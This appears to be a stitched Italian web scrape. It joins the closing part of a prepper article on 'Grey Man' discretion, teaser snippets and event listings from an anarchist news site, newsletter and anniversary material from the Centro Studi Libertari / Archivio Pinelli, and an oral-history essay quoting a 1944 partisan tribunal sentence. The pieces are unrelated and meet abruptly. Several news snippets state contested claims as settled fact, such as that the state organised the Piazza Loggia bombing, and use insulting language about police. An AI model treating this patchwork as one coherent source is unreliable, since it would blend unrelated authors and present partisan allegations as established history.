Un prepper responsabile dovrebbe saper distinguere tra:
informazioni che possono essere condivise;
informazioni che è opportuno proteggere;
persone affidabili;
relazioni ancora da costruire;
aiuto sostenibile;
richieste capaci di mettere in difficoltà il proprio nucleo familiare.
Il Grey Man può essere utile durante uno spostamento o in una situazione confusa.
In una comunità stabile e affidabile, invece, la cooperazione può offrire una protezione superiore a quella ottenibile da un individuo isolato.
Principio AIP
La resilienza non nasce soltanto da ciò che possediamo. Nasce anche dalle relazioni che costruiamo prima dell’emergenza.
Quando la discrezione non è la scelta giusta
Non tutte le emergenze richiedono di passare inosservati.
Durante un soccorso, un’evacuazione organizzata o una ricerca, essere visibili può salvare la vita.
In ambiente naturale, colori facilmente individuabili possono facilitare il ritrovamento.
Durante un incendio, un’alluvione o un incidente, segnalare chiaramente la propria posizione può essere prioritario.
Un volontario, un soccorritore o un addetto alla sicurezza deve spesso essere riconoscibile.
Anche chi necessita di assistenza deve rendersi visibile e comunicare chiaramente la propria condizione.
Regola fondamentale
Prima di cercare di passare inosservati, occorre chiedersi se essere riconosciuti o localizzati possa invece aumentare la sicurezza.
Il contesto italiano
Gran parte dei contenuti online dedicati al Grey Man nasce negli Stati Uniti e riflette scenari e modelli sociali non sempre sovrapponibili ai nostri.
In Italia, la normalità può cambiare radicalmente tra:
un centro storico;
una periferia urbana;
un piccolo paese;
una stazione ferroviaria;
un evento sportivo;
una zona montana;
un centro di accoglienza temporaneo;
un’area colpita da terremoto o alluvione.
Non è sufficiente tradurre consigli stranieri.
Occorre interpretarli alla luce:
del territorio;
della cultura;
delle normative;
delle abitudini;
degli scenari realistici italiani.
La preparazione non dovrebbe trasformare una persona in un personaggio.
Dovrebbe permetterle di affrontare meglio la realtà nella quale vive.
Non invisibili, ma consapevoli
La vera forza del Grey Man non consiste nel diventare irriconoscibili.
Consiste nel controllare meglio le informazioni che comunichiamo.
Abbigliamento, equipaggiamento, comportamento, conversazioni e presenza digitale raccontano continuamente qualcosa di noi.
Non possiamo impedire ogni forma di osservazione.
E non dovremmo vivere nascosti.
Possiamo però decidere con maggiore consapevolezza:
cosa mostrare;
a chi mostrarlo;
quando farlo;
quali informazioni proteggere;
quando collaborare;
quando essere visibili;
quando ridurre la nostra esposizione.
Il Grey Man non è un travestimento.
Non è un colore.
Non è uno zaino.
Non è una tecnica infallibile.
È, nella sua interpretazione più utile, una forma di disciplina personale basata sull’adattamento, sulla consapevolezza situazionale e sulla gestione delle informazioni.
Essere preparati non significa necessariamente sembrare preparati.
Ma significa sapere perché si è scelto di mostrare — o di non mostrare — qualcosa.
Conclusione dello Speciale AIP
Nel corso della serie abbiamo seguito tre passaggi.
Comprendere
Il Grey Man non è invisibilità, ma gestione della rilevanza e adattamento al contesto.
Applicare
La discrezione dipende dalla comprensione della linea di base, del flusso, del comportamento e di ciò che l’equipaggiamento comunica.
Proteggere
Le informazioni possono essere rivelate dall’aspetto, dalle risorse, dalle conversazioni e dalla presenza digitale.
Il principio conclusivo è semplice:
La discrezione è utile soltanto quando aumenta realmente la sicurezza.
Nota metodologica
Il riferimento all’OPSEC non implica che la Grey Man Theory costituisca una dottrina militare ufficiale.
I due concetti vengono messi in relazione esclusivamente per evidenziare l’importanza della gestione consapevole delle informazioni e degli indicatori comunicati involontariamente.
Questo articolo ha finalità esclusivamente informative ed educative. I principi descritti devono essere adattati al contesto e non devono ostacolare l’azione delle autorità, dei soccorritori o l’accesso all’assistenza in caso di emergenza.
Il G8 di Genova del luglio 2001, rappresenta per Amnesty International “la più grave sospensione dei diritti umani in un Paese occidentale dal dopoguerra”. Il vertice del G8 si trasformò, in quei 3 giorni, in una operazione di feroce repressione, in un clima di militarizzazione della città (colpo di stato). Ma ora cominciamo ad analizzare …
In questi giorni i mass media scrivono che per la riqualificazione dei beni sequestrati a mammasantissima in 5 provincie lombarde (Milano, Bergamo, Cremona, Monza e Brianza e Varese), la regione Lombardia ha destinato un contributo regionale di oltre 1,8 milioni, in un contesto sociale, politico e militare dove per anni hanno prevalso illegalità e condizionamento …
In questi giorni i mass media scrivono che le indagini ambigue sull’inchiesta dell’antiterrorismo Anarchico, hanno svelato il tentativo di infiltrare le proteste pro-Palestina. Gli sbirri col loro solito sporco giochetto, hanno arrestato 7 anarchici (5 in carcere e 2 ai domiciliari) incolpati di associazione con finalità di terrorismo. Il gruppo è ritenuto responsabile dei sabotaggi …
Il 4 giugno 2026 sono state archiviate definitivamente le accuse contro Marcello Dell’Utri (a destra nella foto), il braccio destro di Berluskoni (a sinistra), quello che ha fatto da tramite per il patto segreto tra stato e mafia, facendo entrare Berluska dentro al potere politico dello stato (Forza italia). Era quello che Falcone aveva scoperto …
La strage di stato in piazza Loggia a Brescia nel 1974, sempre nel contesto della “strategia della tensione”, sarà organizzata ed eseguita dallo stato che istigò, sovvenzionò e protesse alcuni soggetti per fare attentati e seminare la paura, salvo poi scaricarli quando non servivano più. Sono stati l’intelligence deviata, le lobby, i gruppi di dominio …
Il 28/5/1974 i sindacati e il Comitato antifascista organizzarono a Brescia una grande manifestazione per protestare proprio contro il terrorismo nero, che stava proliferando, im sovvenzionato, protetto e impunito. Alle 10 e 12 di quel 28 maggio, in piazza della Loggia a Brescia, un ordigno è stato fatto esplodere in un contenitore della spazzatura durante …
In questi giorni, il 16 maggio i mass media scrivono che l’inchiesta della Procura di Napoli coordinata dal procuratore Nicola Gratteri è partita tra Napoli, Roma, Ferrara, Belluno e Bolzano. L’inchiesta è partita da 730 mila accessi illeciti alle banche dati, effettuati in due anni da due sbirri bastardi corrotti e doppiogiochisti perchè giocavano con …
Il 7/5/1972, l’Anarchico Franco Serantini moriva ingiustamente rinchiuso nel carcere Don Bosco a Pisa, dopo essere stato colpito a morte dalla polizia mentre si opponeva a un comizio fascista. Due giorni prima, il 5 maggio, Franco partecipava al presidio antifascista indetto a Pisa contro il comizio dell’ex federale fascista Giuseppe “Beppe” Niccolai, dell’allora Movimento Sociale …
Dalle 18 Concerto di Chiusura Estiva con: DIVULGATOR, FINAL STRUGGLE, CAGED, DAMN CITY, KRYSTO, CANNIBE, ANGOSSA, MY OWN VOICE, RIPUDIO a Seguire DJ SET by ATTRAKKO DOMENICA 28 GIUGNO DUB
Apertura cancelli della morte dalle 21:00 in poi con: Noise trail immersion (post black metal)Deadly carnage (post metal)Deadfloor maniacs (math rock)Lateral sin (progressive modern metal) Aftershow: Raven lynx (metal ‘n’ bass)
Riceviamo e diffondiamo: 🏴☠️ NON VI LIBERERETE MAI DI NOI 🏴☠️ Tre giorni di iniziative da Milano al Varesotto contro ogni gabbia e i suoi infami sgherri! 🔥 5 AGOSTO – Villa Occupata Ore 19 Aperitivo vegano benefit prigionierx. Ore 20:30 Proiezione del documentario «181 giorni contro il 41 BIS» e discussione. Via Litta Modignani … Leggi tutto "MILANO: NON VI LIBERERETE MAI DI NOI!"
Riceviamo e diffondiamo: Scriviamo questo testo coi cuori pieni di rabbia, tristezza e tenerezza. Quello che ѐ successo a Berlino durante il Christopher Street Day, Sabato 25 luglio 2026 ci ha scioccato ma temevamo anche che potesse succedere. Questo ci dimostra una volta ancora che abbiamo bisogno di organizzarci per proteggere le nostre vite. Questa … Leggi tutto "PER L’AUTODIFESA COLLETTIVA E QUEER! CORAGGIO!"
Il 2026 è l’anno del nostro 50° compleanno. Per la precisione storica, la data di nascita ufficiale è il 26 settembre 1976 durante i lavori del convegno internazionale di studi organizzato a Venezia per il centesimo anniversario della morte di Bakunin. Un atto fondativo con una forte connotazione identitaria, ma la storia che segue ricolloca quella scelta in un discorso molto più articolato che mette insieme la rivisitazione storica – mai agiografica né tanto meno museale – con la riflessione sul pensiero anarchico e le sue pratiche alla luce delle profonde trasformazioni sociali, economiche, culturali, tecnologiche… avvenute negli ultimi cinque decenni. E le ricerche realizzate nel corso del tempo – dall’autogestione alla tecnoburocrazia, dall’utopia all’anarco-femminismo, dall’ecologia sociale ai neo-anarchismi nelle loro varie declinazioni – confermano questo percorso tutt’altro che lineare e mai compiuto, fatto per lo più su strade accidentate e lungo sentieri poco battuti.
Proprio questo doppio focus – la memoria storica e la comprensione del mondo in cui viviamo e agiamo – è forse il tratto che più contraddistingue il nostro pluridecennale lavoro. Ma non si tratta di due aspetti che corrono in parallelo senza mai toccarsi: il passato sugli scaffali e il presente nelle attività di ricerca. Al contrario, i due aspetti interagiscono strettamente dandosi reciprocamente senso. Anzi, da topi di biblioteca quali in parte siamo, possiamo testimoniare che la storia dell’anarchismo, o meglio degli uomini e delle donne che lo hanno incarnato, è una storia di infinita creatività. Se si spulcia tra le tante carte d’archivio, che si tratti di libri, di giornali o dei più incatalogabili documenti, e ci si sforza di leggere nelle tante lingue dell’internazionalismo anarchico, ci si accorge che tra quelle carte ingiallite si trovano idee e sperimentazioni estremamente attuali. Certo le circostanze storiche sono diverse, e dunque a noi tocca contestualizzare e riattualizzare, ma la straordinaria capacità di immaginare e spesso prefigurare modi di vivere insieme senza gerarchie e senza dominio rimane sorprendente. Tanto che a volte – comparando le varie epoche – ci si chiede perché ogni generazione debba riscoprire le stesse cose e ripetere gli stessi errori quando basterebbe leggere in modo critico le “fragili carte” del passato per fare tesoro di una sperimentazione sociale formidabile.
E questa capacità prefigurativa dispersa nel tempo e nello spazio è anche l’inconfutabile prova di un altro punto fermo della nostra esperienza, ovvero che la storia dell’anarchismo non può che essere una storia dal basso. Con questo non intendiamo dire che “ripudiamo” il nostro atto fondativo dedicato a Bakunin, o i successivi momenti di riflessione dedicati ai grandi pensatori classici come Malatesta, Kropotkin, Reclus, Berneri… anzi, li rivendichiamo perché sono state rivisitazioni eterodosse che hanno estratto dal loro corpus teorico – e rimesso in circolo – tutto quello che parla all’oggi. Ma se è di storia non delle idee ma dei movimenti che intendiamo occuparci, allora è alle schiere anonime che hanno costruito tanto le barricate quanto le comunità che dobbiamo rivolgerci. Sono loro i protagonisti della storia anarchica.
Di questo e altro ci siamo occupati nel mezzo secolo che ci separa dal 1976, durante il quale abbiamo incessantemente composto e ricomposto la nostra visione di anarchia, un’attitudine che non abbiamo intenzione di abbandonare neppure nell’incerto futuro che ci aspetta. Una cosa però è certa: il nostro percorso continua, che ci sia la pax romana che ha contrassegnato il passato o gli scenari totalitari che si stanno delineando nel futuro prossimo. E un’altra cosa è altrettanto certa: questo percorso non lo abbiamo fatto da soli e continueremo a farlo con tantissime altre persone, rendendolo così una vera impresa collettiva.
Com’è inevitabile con lo scorrere del tempo, molti dei compagni e delle compagne che hanno reso vitale il nostro centro studi/archivio – a cominciare dal nucleo fondatore, lo stesso di “A rivista anarchica”, di “Interrogations” o di “Volontà” – non ci sono più. Eppure, quello che hanno fatto è ancora qui, le loro azioni e le loro riflessioni sono i mattoni che ancor oggi reggono l’edificio. Vogliamo ricordare in particolare due di loro, Amedeo Bertolo e Paolo Finzi, entrambi figure centrali della nostra storia. E chiudiamo citando una frase pronunciata proprio da Amedeo all’inizio di questo lungo viaggio: “Siamo anarchici e orgogliosi di esserlo”. Cinquant’anni dopo siamo ancora così.
Da venerdì 11 settembre alle ore 18 a domenica 13 settembre nel primo pomeriggio si terrà a Bologna un incontro internazionale degli archivi anarchici. Oltre alle realtà che già aderiscono alla FICEDL – la Federazione internazionale dei centri studi e di documentazione libertari – l’invito è esteso a tutti gli archivi anarchici, a ricercatrici e ricercatori, e a chiunque sia interessato a mettere in comune la propria esperienza.
L’ultimo incontro bolognese degli archivi internazionali si è tenuto dieci anni fa e nel frattempo la rete è continuata a crescere – è il caso delle attività di ReBal (Rete delle Biblioteche Anarchiche e Libertarie) – ed è aumentata la consapevolezza del ruolo degli archivi e delle biblioteche di movimento come punti fermi per la critica del dominio e per estendere le pratiche di autogestione. In una fase complessa in cui ci aspettano sfide importanti c’è bisogno di rafforzare le radici per stare saldi di fronte alla tempesta e affrontarla senza tentennamenti.
Programma
Venerdì 11 settembre ore 18 al circolo anarchico Berneri (piazza di porta S. Stefano 1): introduzione alla tre giorni con Lorenzo Pezzica, coautore di Carte irrequiete. La memoria dei movimenti (elèuthera 2025) e altre attivist@ e archivist@ / cena / concerto
Sabato 12 settembre ore 10 al circolo anarchico Berneri: presentazione degli archivi presenti / workshop / pranzo /workshop / assemblea a tema “prossimo incontro internazionale degli archivi anarchici” / cena / concerto
Domenica 13 settembre ore 10 a VAG 61 via Paolo Fabbri 110: assemblea “Quale ruolo degli archivi anarchici oggi?” / pranzo / saluti
La Biblioteca Elio Xerri (Circolo Anarchico Berneri) di Bologna In collaborazione con il Centro studi libertari / Archivio G. Pinelli di Milano
Lista aderenti:
Rete FICEDL
Rete ReBAL
Circolo Anarchico Berneri – Biblioteca Elio Xerri Bologna Italia
Centro Studi Libertari / Archivio Giuseppe Pinelli Milano Italia
Anarchivio-Biblioteca Alfredo Salerni Roma Italia
Archivio Famiglia Berneri – Aurelio Chessa Reggio Emilia Italia
Archivio Proletario Internazionale Milano Italia
Archivio Storico degli Anarchici Siciliani Ragusa Italia
Archivio Storico della FAI Imola Italia
Archivio-Biblioteca Enrico Travaglini Fano Italia
Archivio-Biblioteca Primo Maggio Orani Italia
Biblioteca anarchica Giovanni Domaschi Verona Italia
Biblioteca Libertaria Armando Borghi Castel Bolognese Italia
Biblioteca Libertaria Ugo Fedeli Modena Italia
Centro di documentazione Franco Salomone – Solidarietà libertaria Fano Italia
Grafton 9 Bologna Italia
Gruppo Anarchico Germinal Trieste Italia
Il Venerdì libertario Bari Italia
Piccola biblioteca Luigi Galleani Iglesias Italia
CDL Felix Centro di Documentazione Libertario Asti Italia
il caldo è arrivato ma nel nostro fresco scantinato i lavori di archiviazione e digitalizzazione proseguono. Ecco quindi gli aggiornamenti del mese di maggio.
Per l'anniversario del Maggio 1968 abbiamo creato una pagina nella nostra sezione ricerche dedicata al '68. Troverete vari materiali, prodotti dal Centro studi o conservati nel nostro archivio, relativi agli avvenimenti del 1968 in Francia e in Italia. Sono presenti tre sezioni: la prima raccoglie interviste e ricordi di anarchici e anarchiche che hanno partecipato al Maggio '68 francese; la seconda include una ricerca svolta dal Centro studi, una gallery di manifesti e slogan del Maggio '68 francese e il video del Congresso Internazionale Anarchico di Carrara dell'estate 1968. La terza sezione infine propone alcuni opuscoli e numeri speciali di riviste dedicati all'argomento.
Cambiando argomento, e passando all'ambito editoriale e a quello cinematografico, ci permettiamo di darvi due consigli: il primo è il libro di Leopoldo Santovincenzo Invito a pranzo con pistola. Storia dimenticata del primo sequestro politico nell'Italia degli anni Sessanta, uscito da poco in libreria, che narra, in maniera documentata e accurata, il rapimento del viceconsole spagnolo Isu Elías per mano, tra gli altri, di Amedeo Bertolo, uno dei fondatori del nostro Centro studi. Il secondo consiglio è il documentario del regista Matteo Berruto Con la pioggia dentro, in cui, a partire dall'Incontro Internazionale Anarchico Venezia '84, Giorgio Canali racconta una vita all'insegna di musica, libertà e conflitto.
Continua poi la pubblicazione on line delle cover stories del nostro Bollettino: questo mese troverete quindi un approfondimento biografico sull'anarchica giapponese Ito Noe.
Ultimo ma non ultimo, nel caso non ve ne foste accorti, dalla scorsa newsletter è apparsa nella testata la scritta "Centro studi libertari / Archivio G. Pinelli 1976-2026 - mezzo secolo d'anarchia". Ebbene sì, quest'anno compiamo cinquant'anni tondi tondi. Mezzo secolo di passione e militanza durante il quale abbiamo da un lato, come Archivio Pinelli, preservato e alimentato la memoria anarchica, e dall’altro, come Centro studi libertari, indagato e promosso il pensiero anarchico e libertario in un costante confronto con il mondo e la società contemporanei. È stato un viaggio lungo, e non è certo concluso. Ed è un viaggio che abbiamo fatto “senza illusioni e senza rimpianti”, come ci ha insegnato Louis Mercier Vega, e con la tenacia di chi costruisce e ricostruisce senza posa, come ci ha insegnato Pio Turroni, muratore anarchico.
Come sempre, non potremmo continuare a fare ciò che facciamo senza il vostro contributo, e dunque...
Nel 1968, l’Europa è attraversata dalle scosse di un cambiamento sociale epocale innescato dalle rivolte studentesche e giovanili. In questo fermento l’anarchismo sembra ritrovare voce. Il movimento cresce. Gruppi e circoli nascono ovunque, anche dove l’anarchismo sembrava scomparso. In quell’anno cruciale in molti guardano agli anarchici come ai più coerenti protagonisti di quel cambiamento.
In questo contesto, tra il 31 agosto e il 3 settembre la città di Carrara, già simbolo di lotte anarchiche e tradizioni libertarie, diventa il centro di un incontro di grande rilevanza internazionale. L’occasione è un congresso interno convocato da alcune Federazioni anarchiche nazionali che però si apre a una più vasta partecipazione. Nelle sale del Teatro degli Animosi si raccolgono così le più varie voci, esperienze, lingue, visioni e ovviamente tensioni. Sono infatti presenti sia delegati ufficiali provenienti da diciotto paesi (dalla Grecia al Giappone, da Cuba alla Nuova Zelanda), sia osservatori esterni a quelle federazioni e perlopiù appartenenti alla nuova generazione protagonista del '68. In un’atmosfera carica di aspettative, si incontrano così figure storiche del movimento italiano e internazionale e i giovani “sessantottini” europei.
Nel video sono riconoscibili: Cohn Bendit, Alfonso Failla, Ōsawa Masamichi, Ozeki Hiroshi, Stuart Christie, Jean Jacques Lebel, Mario Mantovani, Umberto Marzocchi, Marie Christine Mikailov, René Bianco e Amedeo Bertolo.
Nel maggio '68 in Francia, e non solo, ricompare alla grande il movimento libertario. I boulevard parigini si riempiono di bandiere rossonere, così come i muri dei palazzi di slogan e graffiti. È l’irrompere della voglia di libertà. Da qui il successo di slogan come “Il est interdit d'interdire”, che riassume bene lo spirito di quel maggio, espresso da una produzione senza precedenti di slogan rivoluzionari scritti nei volantini e sui muri di facoltà, fabbriche e negozi. Ed è appunto questa voglia di libertà e le parole con cui si è espressa che vi proponiamo oltre mezzo secolo dopo.
Sono una manciata di scritte i cui autori sono rimasti perlopiù anonimi. Un piccolo viaggio tra frasi vergate sulla carta collosa di un manifesto, distese con un pennello o nebulizzate con uno spray e poi affisse sui muri intonsi dei palazzi, sulle saracinesche, sui lampioni.
Leopoldo Santovincenzo, Invito a pranzo con pistola.
Storia dimenticata del primo sequestro politico nell'Italia degli anni Sessanta, Solferino, 2026.
Milano, 28 settembre 1962, ore 12.15. Un gruppetto di studenti anarchici ventenni sequestra il viceconsole spagnolo Isu Elias.
L’espediente è un finto invito a pranzo, il movente: impedire l’esecuzione di un anarchico spagnolo, arrestato e condannato a morte pochi giorni prima nella Spagna franchista.
I rapitori improvvisati si affrettano a comunicare ai giornali che «il dottore non corre alcun pericolo». Ma è comunque il primo sequestro politico nell’Italia del Dopoguerra e sulla scena fanno capolino molti volti destinati ad avere un ruolo nella storia politica e culturale del nostro Paese: il maggiore dei carabinieri Carlo Alberto dalla Chiesa che partecipa agli interrogatori, Rossana Rossanda in missione spagnola per il PCI, il «principe nero» Junio Valerio Borghese, lo scrittore Luciano Bianciardi che si affaccia sulla soglia del bar Jamaica in Brera, il cardinale Montini (futuro papa), Pietro Valpreda, Pino Pinelli e molti altri ancora.
Leopoldo Santovincenzo ricostruisce, con scrittura serrata e montaggio narrativo, la storia affascinante di un fatto di cronaca tanto incredibile quanto dimenticato e lo fa con il ricorso a documenti e testimonianze inedite, disegnando con sapienza il contesto politico e culturale di un periodo di apertura ideale che precede le trame nere e gli anni di piombo. Una breve stagione dove era ancora possibile riconoscere a un atto di forza «motivi di particolare valore morale e sociale».
Film
Con la pioggia dentro
Correggio, 2022. Alla soglia dei 65 anni Giorgio Canali, cantautore e musicista di riferimento della scena indipendente italiana, si ritrova ad affrontare l’ennesimo trasloco della sua vita.
Anche per un anti nostalgico come lui, un trasloco è sempre l’occasione per raccogliere pezzi della propria vita, vissuta sempre contro e mosso dal costante bisogno di libertà e dalla rabbia che si porta dentro.
Ci sono le tante case in cui ha vissuto, gli studi di registrazione reali e quelli improvvisati, come le sue camere da letto o Villa Pirondini, dove registrò l’ultimo album dei CCCP-Fedeli Alla Linea. Ci sono poi le persone che questi posti li hanno attraversati: gli amici, i compagni di band e i musicisti più giovani che Giorgio ha in qualche modo cresciuto.
Ma nulla, per Giorgio, è più importante del presente, eternamente scandito dai concerti nei piccoli club ovunque e tutto l’anno e illuminato da quel che resta della sua famiglia e ciò che per lui la famiglia è: sua sorella Monica e un nuovo amore.
Intanto, all’orizzonte, un nuovo album con la sua band Rossofuoco e un tour celebrativo con Le Luci della Centrale Elettrica.
Ito Noe nasce a Kyushu, Giappone, nel 1895 in una famiglia dell’aristocrazia terriera. Dopo un’educazione di alto livello, soprattutto per una donna dell’epoca, scappa da casa per sottrarsi a un matrimonio forzato e si trasferisce a Tokyo.
Qui nel 1913 si unisce a un gruppo di donne che si batte per l’emancipazione femminile, l’associazione Seitosha fondata già negli anni Settanta dell’Ottocento da Hiratsuka Rancho, e in particolare collabora con la rivista del gruppo, “Seito”, per la quale traduce articoli di Emma Goldman.
Dopo un breve matrimonio con un suo ex insegnante, Ito inizia nel 1916 un’appassionata relazione con l’anarchico Osugi Sakae e da quel momento diventa un’attiva militante del movimento giapponese.
Nel corso degli anni ha un’intensa produzione letteraria, pubblicando oltre ottanta articoli su tematiche sociali, ma anche romanzi autobiografici in cui appare chiara la sua scelta libertaria di forte rottura con la società tradizionale giapponese.
Nel 1919, insieme a Osugi, Wada Kyutaro e Kondo Kenji, fonda una rivista di ispirazione anarco-sindacalista, il “Rodo Undo”, il cui obiettivo è di creare un collegamento stabile tra il movimento anarchico e la nascente classe operaia giapponese. Grazie a questo periodico sorgeranno ben presto diverse sezioni locali con lo stesso nome dedite all’attività sindacale.
Dal 2023 è possibile destinare al Centro Studi Libertari Giuseppe Pinelli il "5 x mille" in quanto associazione di promozione sociale.
Per devolvere il cinque per mille è necessario compilare il modulo 730, il CU oppure il Modello Unico e firmare nel riquadro “Sostegno degli enti del terzo settore iscritti nel RUNTS…” e indicare il codice fiscale 97030450155. Anche chi non è obbligato a presentare la dichiarazione dei redditi può scegliere di devolvere il cinque per mille presentando l’apposita scheda allegata al CU.
Farlo non costa nulla, in quanto se non si esprime una scelta la quota rimane allo Stato. Per noi si tratta invece di un contributo importante, come gli altri canali di donazione, per portare avanti le nostre attività di conservazione e di ricerca in maniera indipendente. I fondi vengono infatti utilizzati, tra le altre cose, per riordinare e rendere fruibili i nostri fondi archivistici, per l'acquisione e la catalogazione dei libri della biblioteca, per avviare nuovi progetti di archivio digitale o mantenere e migliorare quelli esistenti (come "Pinelli: una storia", "Venezia '84" o "Le voci dell'anarchia"), per finanziare le nostre attività editoriali come la pubblicazione del Bollettino, dei Quaderni, e così via.
Mi limiterò ad accennare alcune tra le molte questioni di metodo poste dalla “storia orale”.
Una narrazione registrata su nastro, prodotto dell’incontro irripetibile tra due o più persone, è strettamente condizionata al “qui e ora”, per cui anche un suo uso a distanza di tempo (e farò poi degli esempi a me successi) può avere conseguenze impreviste e che sarebbe sempre meglio prevedere.
Anzitutto due conversazioni sui medesimi temi fatte a distanza di tempo con la medesima persona possono anche differire moltissimo: perché le domande del ricercatore non sono più le stesse e anche perché una narrazione orale è sempre già un’interpretazione degli avvenimenti narrati da parte di chi la rende e quell’interpretazione è soggetta con il trascorrere del tempo a modificazioni che possono talvolta anche diventare radicali.
A me è capitato, ad esempio, di utilizzare in un saggio un dialogo che avevo avuto con un partigiano che il 12 novembre del 1944 aveva fatto sparare per sbaglio alla sua squadra sull’automobile di un collaboratore della Resistenza, uccidendone la moglie. Il fatto era avvenuto dopo il coprifuoco sull’autostrada, quando si poteva presumere che transitassero solo automezzi tedeschi e fascisti. Processato in una formazione, il caposquadra era stato condannato con questa sentenza:
“SENTENZA
A carico del Capo-squadra Ciucch del 2¡ Battaglione “Greta” dell’82a Brigata “Osella” imputato di omicidio colposo.
FATTO
Nel mese di novembre il giorno 12 il Capo-plotone Ciucch dell’82a Brigata “Osella” era in servizio di appostamento con una squadra sulla strada Novara-Torino. Secondo una informazione di un membro del CLN locale, su quella strada in quel giorno, dalle ore 19 alle ore 20 sarebbe transitata un’automobile 1.100 con a bordo il questore di Novara o il capo della “squadraccia” Martino. Nell’intervallo di tempo indicato passarono un camion ed una macchina senza che la squadra li attaccasse. Poi giunse una macchina 1.100 a velocità normale. Il Ciucch ritenne che questa fosse la vettura dei due personaggi e a scopo di avviso sparò una raffica in aria. La vettura anziché fermarsi sembrò accelerare, per cui gli uomini spararono contro di essa alcune raffiche. La macchina si fermò, alcuni uomini della squadra si avvicinarono per rendersi conto dell’accaduto. Un uomo venne fuori dalla macchina imprecando e sbraitando. I partigiani si resero conto che quella non era la macchina attesa e che era stata uccisa la moglie dell’uomo. Mentre essi si concertavano sul da farsi, apparve a distanza un autocarro, per cui i partigiani tutti si allontanarono dalla zona.
DIRITTO
Ritenuto provato che il Ciucch ricevette da un membro del cln locale l’informazione che il giorno 12 sarebbe transitata sulla strada Novara-Torino una macchina 1.100 con a bordo il questore di Novara o il capo della squadraccia Martino dalle ore 19 alle ore 20; ritenuto che il Ciucch e i suoi uomini erano animati dall’idea di effettuare un’azione di guerra che se riuscita avrebbe attribuito grande merito; ritenuto che per fatale coincidenza nell’ora indicata transitava una macchina 1.100 per cui il Ciucch e i suoi uomini potevano a giusta ragione credere trattarsi della vettura attesa; ritenuto che il Ciucch, com’è risultato in istruttoria, sparò in segno di avviso una raffica in aria, e che la macchina anziché fermarsi accelerò e dopo di che gli uomini spararono alcune raffiche causando il fatto lamentato; ritenuto che deve trattarsi di un fatale errore ma in pari tempo il Ciucch quale Capo-plotone non ha mostrano molta avvedutezza e sagacia sia nella valutazione della informazione ricevuta, sia nella identificazione della vettura, sia nell’allontanarsi dalla zona affrettatamente senza recare il necessario soccorso; ritenuto che in particolare l’imputato sulle prime ha negato di essere l’autore del fatto, dichiarando di non saperne nulla, dimostrando con ciò una evidente mala fede; tutto ciò ritenuto, deve dichiararsi il Ciucch responsabile di omicidio colposo.
P.Q.M.
IL TRIBUNALE visti i capi d’accusa, uditi gli accusatori, udita la difesa, dichiara il Ciucch responsabile del reato di omicidio colposo e lo condanna a cinque anni di reclusione da scontarsi al termine della guerra; delibera che il Comando della 82a Brigata “Osella” lo trattenga presso la Formazione armata per impiegarlo nelle più rischiose azioni di guerra in considerazione dei suoi meriti militari; delibera che il suo comportamento nel frattempo sarà preso in considerazione dai superiori Comandi come titolo per un’eventuale riabilitazione.
Sede, lì 15 novembre 1944”.
A me era parso che questa sentenza (che tra l’altro assumeva non tanto un valore di sanzione punitiva quanto piuttosto quello di stimolo delle capacità militari del giudicato, che in seguito catturò numerosi tedeschi utilizzati per scambi e quindi si emendò ampiamente di quel suo errore) mettesse in luce la buona organizzazione delle formazioni partigiane valsesiane e valesse la pena di essere raccontato. Così nell’ottobre 1967 intervistai il Ciucch e gli chiesi di potere raccontare questa sua storia, ottenendo un assenso. Riuscii però a pubblicarla soltanto dodici anni dopo, su “Ieri Novara oggi”, rivista dell’Istituto storico della Resistenza. Il clima politico era profondamente mutato da allora e il “Ciucch”, che io non avevo più interpellato, aveva cambiato idea sull’utilità di quella pubblicazione. Quando vide la pubblicazione si adombrò e con altri partigiani andò a requisire manu militari la rivista nelle librerie, litigando pesantemente con Eraldo Gastone, ex comandante militare del Raggruppamento Divisioni Garibaldi della Valsesia-Ossola-Cusio-Verbano, considerato responsabile della pubblicazione del pezzo in quanto presidente dell’Istituto storico.
Qui abbiamo la modificazione nel tempo del punto di vista di un narratore sull’opportunità di dare pubblicità a una vicenda della sua vita.
Trasformazioni ancora più complesse possono presentare i punti di vista riguardanti le cosiddette “fonti orali formalizzate”, in particolare le canzoni.
Ad esempio, venuto meno il lavoro di risaia e trasformatosi il canto di risaia sul lavoro in canto “testimoniato”, avvennero in più occasioni significative trasformazioni nel modo di vivere il repertorio del passato da parte di chi l’aveva cantato. È il caso del coro di Trino Vercellese, che ha mantenuto a lungo il valore di testimonianza esemplare di uno stile vocale in via di sparizione. E per questo negli anni Settanta si decise valesse la pena di dedicare un “disco del sole” a questo coro di mondariso.
Ce ne occupammo Franco Coggiola ed io e, avendo avuto la possibilità di comparare le esecuzioni del coro di Trino Vercellese sull’arco di ben diciotto anni, dal 1960 al 1978, notammo come fossero quasi sempre migliori (e dico “migliori” intendendo “più vicine” al modo come si cantava in risaia) quelle effettuate negli anni Sessanta rispetto a quelle effettuate dal 1975 in poi. Queste ultime avevano perso lo smalto di una volta e in esse il coro tendeva spesso a iniziare le esecuzioni su delle tonalità più basse che in passato, mentre anche il “pedale” non aveva più la robustezza di anni prima. Non vi era dubbio che il distacco dalla risaia aveva avuto notevoli conseguenze con il passare del tempo sul loro stile. Sicché quando producemmo un loro disco con l’intenzione di dare una testimonianza esemplare di uno stile vocale ormai destinato rapidamente a scomparire, le critiche sul nostro operato da parte delle ex mondariso che in quel momento componevano il coro non furono di poco conto. Esse ormai vivevano in modo diverso il loro mondo musicale e non si riconoscevano più in esecuzioni troppo vicine al mondo nel quale avevano lavorato. Si erano staccate dai canti che avevamo registrato in risaia o nell’aia dei cascinali e si riconoscevano invece nel repertorio molto “addolcito” che portavano allora in giro per le feste de “l’Unità” o in altre feste di paese. Svolgendo una funzione peraltro molto importante, perché le canzoni popolari e i canti sociali restano in uso se c’è qualcuno che le tramanda. E su questo vorrei soffermarmi.
Prendiamo, per esempio, un classico del repertorio anarchico quale può essere La colonia Cecilia. Gianni Bosio e Roberto Leydi fecero alcune puntate di ricerca a Carrara e Pisa nel 1962 e trovarono un solo militante, Foresto Ciuti, che la ricordava e sapeva cantarla. Infatti i canzonieri anarchici avevano pubblicato il solo testo, senza indicazione di melodia e senza musica. Pubblicata in un “disco del sole”, ricantata dai gruppi del Nuovo Canzoniere Italiano, La colonia Cecilia fu poi ripubblicata in moltissimi altri canzonieri, spesso con la musica, ridiventando così, parte stabile del repertorio dell’odierno canto anarchico.
